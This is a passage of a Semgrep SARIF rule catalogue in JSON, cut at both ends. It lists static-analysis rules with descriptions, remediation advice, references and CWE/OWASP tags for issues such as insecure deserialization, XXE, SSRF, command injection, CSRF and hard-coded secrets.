Rule](https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","id":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","name":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.passwords.use-none-for-password-default.use-none-for-password-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","id":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","name":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"help":{"markdown":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write","id":"python.django.security.injection.request-data-write.request-data-write","name":"python.django.security.injection.request-data-write.request-data-write","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-write.request-data-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"help":{"markdown":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11](https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11)\n","text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","id":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","name":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.class-extends-safestring.class-extends-safestring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"help":{"markdown":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection","id":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","name":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.missing-csrf-protection.missing-csrf-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","id":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","name":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command","id":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","name":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"help":{"markdown":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","id":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","name":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all secrets"},"help":{"markdown":"Ensure that the expiration date is set on all secrets\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Ensure that the expiration date is set on all secrets"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"help":{"markdown":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection)\n - [https://github.com/argoproj/argo-workflows/issues/5061](https://github.com/argoproj/argo-workflows/issues/5061)\n - [https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370](https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370)\n","text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"helpUri":"https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","id":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","name":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 – Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - 